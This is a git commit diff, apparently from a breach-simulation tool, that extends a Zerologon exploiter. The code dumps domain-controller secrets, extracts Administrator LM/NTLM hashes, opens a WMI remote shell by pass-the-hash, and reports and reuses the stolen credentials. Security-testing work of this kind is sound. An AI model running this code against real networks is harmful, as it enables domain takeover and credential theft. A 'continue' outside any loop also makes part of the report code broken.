Final exploit touches and report stuff

This commit is contained in:
Shreya 2021-01-31 14:47:27 +05:30
parent b57605b58d
commit c05a48d34d
3 changed files with 106 additions and 44 deletions

View File

@ -34,6 +34,7 @@ from impacket.krb5.keytab import Keytab
from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21, from impacket.smbconnection import (SMB2_DIALECT_002, SMB2_DIALECT_21,
SMB_DIALECT, SMBConnection) SMB_DIALECT, SMBConnection)
from common.utils.exploit_enum import ExploitType
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.network.zerologon_fingerprint import ZerologonFinger from infection_monkey.network.zerologon_fingerprint import ZerologonFinger
@ -45,8 +46,8 @@ _new_stdout = None
def _set_stdout_to_in_memory_text_stream(): def _set_stdout_to_in_memory_text_stream():
global _orig_stdout, _new_stdout
# set stdout to in-memory text stream, to capture info that would otherwise be printed # set stdout to in-memory text stream, to capture info that would otherwise be printed
global _orig_stdout, _new_stdout
_orig_stdout = sys.stdout _orig_stdout = sys.stdout
_new_stdout = io.StringIO() _new_stdout = io.StringIO()
sys.stdout = _new_stdout sys.stdout = _new_stdout
@ -63,6 +64,7 @@ def _unset_stdout_and_return_captured():
class ZerologonExploiter(HostExploiter): class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Netlogon' _EXPLOITED_SERVICE = 'Netlogon'
EXPLOIT_TYPE = ExploitType.VULNERABILITY
MAX_ATTEMPTS = 2000 MAX_ATTEMPTS = 2000
OPTIONS_FOR_SECRETSDUMP =\ OPTIONS_FOR_SECRETSDUMP =\
{ {
@ -100,6 +102,7 @@ class ZerologonExploiter(HostExploiter):
super().__init__(host) super().__init__(host)
self.vulnerable_port = None self.vulnerable_port = None
self.zerologon_finger = ZerologonFinger() self.zerologon_finger = ZerologonFinger()
self.exploit_info['credentials'] = {}
def _exploit_host(self): def _exploit_host(self):
DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) DC_IP, DC_NAME, DC_HANDLE = self.zerologon_finger.get_dc_details(self.host)
@ -128,15 +131,18 @@ class ZerologonExploiter(HostExploiter):
if result is not None: if result is not None:
break break
self.report_login_attempt(result=False,
user=DC_NAME)
if result['ErrorCode'] == 0: if result['ErrorCode'] == 0:
self.report_login_attempt(result=True,
user=DC_NAME)
LOG.info("Exploit complete!") LOG.info("Exploit complete!")
else: else:
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
_exploited = True _exploited = True
## how do i execute monkey on the exploited machine?
else: else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
_exploited = False _exploited = False
@ -216,11 +222,23 @@ class ZerologonExploiter(HostExploiter):
dumped_secrets = self.get_dumped_secrets(options=options, dumped_secrets = self.get_dumped_secrets(options=options,
remote_name=DC_IP, remote_name=DC_IP,
username=f"{DC_NAME}$") username=f"{DC_NAME}$")
user = 'Administrator'
for secret in dumped_secrets: for secret in dumped_secrets:
if 'Administrator' in secret: if user in secret:
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::" hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
self.add_extracted_creds_to_exploit_info(user, hashes[0], hashes[1])
return ':'.join(hashes) # format - "lmhash:nthash" return ':'.join(hashes) # format - "lmhash:nthash"
def add_extracted_creds_to_exploit_info(self, user, lmhash, nthash):
self.exploit_info['credentials'].update({
user: {
'username': user,
'password': '',
'lm_hash': lmhash,
'ntlm_hash': nthash
}
})
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
return return
@ -251,7 +269,7 @@ class ZerologonExploiter(HostExploiter):
hashes=admin_pwd_hashes, hashes=admin_pwd_hashes,
domain=DC_IP) domain=DC_IP)
remote_shell = wmiexec.run() remote_shell = wmiexec.get_remote_shell()
if remote_shell: if remote_shell:
_set_stdout_to_in_memory_text_stream() _set_stdout_to_in_memory_text_stream()
@ -270,6 +288,9 @@ class ZerologonExploiter(HostExploiter):
info = _unset_stdout_and_return_captured() info = _unset_stdout_and_return_captured()
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
wmiexec.close()
return True return True
else: else:
@ -566,37 +587,44 @@ class Wmiexec:
self.__share = share self.__share = share
self.shell = None self.shell = None
def run(self): def connect(self):
smbConnection = SMBConnection(self.__ip, self.__ip) self.smbConnection = SMBConnection(self.__ip, self.__ip)
smbConnection.login(user=self.__username, self.smbConnection.login(user=self.__username,
password=self.__password, password=self.__password,
domain=self.__domain, domain=self.__domain,
lmhash=self.__lmhash, lmhash=self.__lmhash,
nthash=self.__nthash) nthash=self.__nthash)
dcom = DCOMConnection(target=self.__ip, self.dcom = DCOMConnection(target=self.__ip,
username=self.__username, username=self.__username,
password=self.__password, password=self.__password,
domain=self.__domain, domain=self.__domain,
lmhash=self.__lmhash, lmhash=self.__lmhash,
nthash=self.__nthash, nthash=self.__nthash,
oxidResolver=True) oxidResolver=True)
try: try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) self.iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease() iWbemLevel1Login.RemRelease()
win32Process, _ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection, self.OUTPUT_FILENAME)
return self.shell
except (Exception, KeyboardInterrupt) as e: except (Exception, KeyboardInterrupt) as e:
LOG.error(str(e)) LOG.error(str(e))
smbConnection.logoff() self.smbConnection.logoff()
dcom.disconnect() self.dcom.disconnect()
def get_remote_shell(self):
self.connect()
win32Process, _ = self.iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME)
return self.shell
def close(self):
self.smbConnection.close()
self.smbConnection = None
self.dcom.disconnect()
self.dcom = None
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py # Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py

View File

@ -180,32 +180,49 @@ class ReportService:
@staticmethod @staticmethod
def get_stolen_creds(): def get_stolen_creds():
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
creds = [] creds = []
# stolen creds from system info collectors
for telem in mongo.db.telemetry.find( for telem in mongo.db.telemetry.find(
{'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, {'telem_category': 'system_info', 'data.credentials': {'$exists': True}},
{'data.credentials': 1, 'monkey_guid': 1} {'data.credentials': 1, 'monkey_guid': 1}
): ):
monkey_creds = telem['data']['credentials'] monkey_creds = telem['data']['credentials']
if len(monkey_creds) == 0: creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds))
continue
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] # stolen creds from exploiters
for user in monkey_creds: for telem in mongo.db.telemetry.find(
for pass_type in PASS_TYPE_DICT: {'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}},
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: {'data.info.credentials': 1, 'monkey_guid': 1}
continue ):
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user monkey_creds = telem['data']['info']['credentials']
cred_row = \ creds.append(ReportService._format_creds_for_reporting(telem, monkey_creds))
{
'username': username,
'type': PASS_TYPE_DICT[pass_type],
'origin': origin
}
if cred_row not in creds:
creds.append(cred_row)
logger.info('Stolen creds generated for reporting') logger.info('Stolen creds generated for reporting')
return creds return creds
@staticmethod
def _format_creds_for_reporting(telem, monkey_creds):
creds = []
PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'}
if len(monkey_creds) == 0:
continue
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
for user in monkey_creds:
for pass_type in PASS_TYPE_DICT:
if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]:
continue
username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user
cred_row = \
{
'username': username,
'type': PASS_TYPE_DICT[pass_type],
'origin': origin
}
if cred_row not in creds:
creds.append(cred_row)
return creds
@staticmethod @staticmethod
def get_ssh_keys(): def get_ssh_keys():
""" """

View File

@ -4,6 +4,7 @@ import dateutil
from monkey_island.cc.encryptor import encryptor from monkey_island.cc.encryptor import encryptor
from monkey_island.cc.models import Monkey from monkey_island.cc.models import Monkey
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.edge.displayed_edge import EdgeService from monkey_island.cc.services.edge.displayed_edge import EdgeService
from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.processing.utils import \ from monkey_island.cc.services.telemetry.processing.utils import \
@ -17,6 +18,7 @@ def process_exploit_telemetry(telemetry_json):
edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json)
update_network_with_exploit(edge, telemetry_json) update_network_with_exploit(edge, telemetry_json)
update_node_credentials_from_successful_attempts(edge, telemetry_json) update_node_credentials_from_successful_attempts(edge, telemetry_json)
add_exploit_extracted_creds_to_config(telemetry_json)
test_machine_exploited( test_machine_exploited(
current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']),
@ -26,6 +28,21 @@ def process_exploit_telemetry(telemetry_json):
timestamp=telemetry_json['timestamp']) timestamp=telemetry_json['timestamp'])
def add_exploit_extracted_creds_to_config(telemetry_json):
if 'credentials' in telemetry_json['data']['info']:
creds = telemetry_json['data']['info']['credentials']
add_system_info_creds_to_config(creds)
for user in creds:
ConfigService.creds_add_username(creds[user]['username'])
if 'password' in creds[user] and creds[user]['password']:
ConfigService.creds_add_password(creds[user]['password'])
if 'lm_hash' in creds[user] and creds[user]['lm_hash']:
ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json):
for attempt in telemetry_json['data']['attempts']: for attempt in telemetry_json['data']['attempts']:
if attempt['result']: if attempt['result']: